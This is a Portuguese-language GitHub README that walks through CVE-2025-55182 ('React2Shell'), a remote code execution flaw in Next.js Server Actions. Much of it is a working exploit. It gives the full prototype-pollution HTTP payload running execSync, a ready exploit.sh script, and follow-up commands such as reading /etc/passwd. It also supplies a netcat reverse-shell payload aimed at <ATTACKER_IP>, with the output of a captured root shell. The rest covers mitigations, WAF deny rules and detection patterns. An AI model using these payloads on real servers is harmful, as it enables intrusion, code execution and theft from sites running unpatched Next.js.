yannisduvignau/react2shell-exploitCVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam React Server Components (RSC) e Server Actions.
⚠️ Aviso: Esta documentação é fornecida apenas para fins educacionais e de pesquisa em segurança. Qualquer uso não autorizado dessas técnicas contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal.
CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam:
Um atacante pode obter Execução Remota de Código (RCE) no servidor explorando:
__proto__ e constructorConsequência: Comandos arbitrários do sistema podem ser executados com os privilégios do processo Node.js.
O Next.js utiliza um protocolo proprietário multipart/form-data para comunicação entre cliente e servidor:
Cliente (Navegador)
↓
[payload multipart/form-data RSC]
↓
Servidor Next.js
↓
Desserialização + Execução
↓
Resposta
A vulnerabilidade existe porque:
__proto__, constructor)Um atacante pode criar um payload que modifica propriedades internas de objetos:
{
"then": "$1:__proto__:then", // Ataca a cadeia de protótipos
"_response": {
"_prefix": "código malicioso aqui" // Injeção de código
}
}
Explorando __proto__, o atacante polui o protótipo dos objetos JavaScript, afetando todos os objetos que herdam dele.
Dentro do campo _prefix, o atacante injeta código JavaScript que:
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
O resultado do comando é escondido na resposta de erro:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
O Next.js retorna esse erro ao cliente, e a saída do comando fica visível no campo digest.
# Clone o PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Instale o Node.js 20
nvm install 20
nvm use 20
# Instale as dependências
cd test-server
npm install
npm run dev
O servidor agora está acessível em:
http://localhost:3000
curl http://localhost:3000/
Nesta fase, o servidor se comporta normalmente.
http://localhost:3000/ no seu navegadorUma requisição GET será interceptada. Envie-a para a aba Repeater:
Substitua toda a requisição pelo seguinte payload:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Clique em Send
Crie um arquivo exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Construir o payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Substituir o comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Enviar a requisição
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Torne-o executável:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Para obter acesso completo a um shell interativo, use um reverse shell.
ncat -lvnp 9009
Ou com netcat:
nc -lvnp 9009
Modifique o payload com o seguinte comando (substitua <ATTACKER_IP> pelo seu endereço IP):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
O payload completo fica:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Agora você tem um shell totalmente interativo no servidor alvo.
Após a exploração bem-sucedida:
digest dentro da resposta de erroError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
Garanta que está executando uma versão corrigida do Next.js. Verifique os avisos oficiais de segurança.
Adicione validação rigorosa dos payloads RSC recebidos:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Rejeitar payloads suspeitos
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Bloquear payloads contendo padrões perigosos
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SEGURANÇA] Tentativa de payload malicioso de ${request.ip}`);
return new NextResponse('Proibido', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
Em next.config.js:
module.exports = {
experimental: {
serverActions: {
enabled: false // Desative se não for necessário
}
}
};
# Criar um usuário dedicado
useradd -r -s /bin/false nextjs
# Executar o serviço sob este usuário
sudo -u nextjs node server.js
# Ou com systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
Use Docker com capacidades restritas:
FROM node:20-alpine
# Criar usuário não-root
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
Execute o contêiner com capacidades restritas:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
Implemente registro completo:
// Middleware de registro personalizado
app.use((req, res, next) => {
// Registrar todas as requisições POST com o cabeçalho Next-Action
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[ALERTA_SEGURANCA] Tentativa de exploração detectada de ${req.ip}`);
console.error(`[ALERTA_SEGURANCA] User-Agent: ${req.get('user-agent')}`);
console.error(`[ALERTA_SEGURANCA] Payload: ${bodyString.substring(0, 500)}`);
// Alertar equipe de segurança
// sendSecurityAlert(`Tentativa de exploração de ${req.ip}`);
return res.status(403).json({ error: 'Proibido' });
}
}
next();
});
Configure seu WAF para bloquear:
Regras ModSecurity:
# Bloquear __proto__ no corpo da requisição
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Ataque de Poluição de Protótipo'"
# Bloquear constructor no corpo da requisição
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Ataque de Poluição de Protótipo'"
# Bloquear acesso ao módulo child_process
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Tentativa de Execução de Código'"
# Bloquear a função execSync
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Tentativa de Execução de Código'"
# Bloquear declarações require()
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Tentativa de Carregamento de Módulo'"
Exemplo AWS WAF:
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPolluton",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPolluton"
}
}
]
}
Embora o CSP proteja principalmente o lado do cliente, é uma boa prática:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Escanear dependências em busca de vulnerabilidades
npm audit
npm audit fix
# Usar snyk para monitoramento contínuo
snyk monitor
# Testes de penetração regulares
# Agendar avaliações trimestrais de segurança
Se suspeitar de exploração:
# 1. Verificar logs em busca de padrões suspeitos
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Verificar histórico de processos
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Verificar conexões de rede
netstat -tuln
lsof -i -P -n
# 4. Isolar o sistema afetado
sudo iptables -I INPUT -j DROP
# 5. Preservar evidências e logs
tar -czf /backup/incidente-$(date +%Y%m%d).tar.gz /var/log/
# 6. Notificar sua equipe de segurança e aplicar patches
{
// Passo 1: Atacar a cadeia de protótipos
"then": "$1:__proto__:then",
// Passo 2: Marcar como modelo resolvido
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Passo 3: Injetar código através de _response
"_response": {
// O código JavaScript injetado
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMANDO',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Referência aos dados do formulário
"_chunks": "$Q2",
// Acessar constructor através dos dados do formulário
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 são resolvidas para outros campos do formulário__proto__ modifica o protótipo do objeto_prefix é avaliado durante o tratamento de errosexecSync executa o comando arbitrárioCVE-2025-55182 (React2Shell) demonstra riscos críticos associados a:
✅ Desserialização insegura de dados controlados pelo usuário ✅ Poluição de protótipo em cadeias de protótipos JavaScript ✅ Execução dinâmica de código sem validação adequada
Esta vulnerabilidade reforça a importância de:
Licença: Uso educacional apenas – Acesso não autorizado a sistemas de computador é ilegal.
Para pesquisa de segurança legítima e testes autorizados, certifique-se de ter permissão por escrito do proprietário do sistema antes de realizar qualquer teste.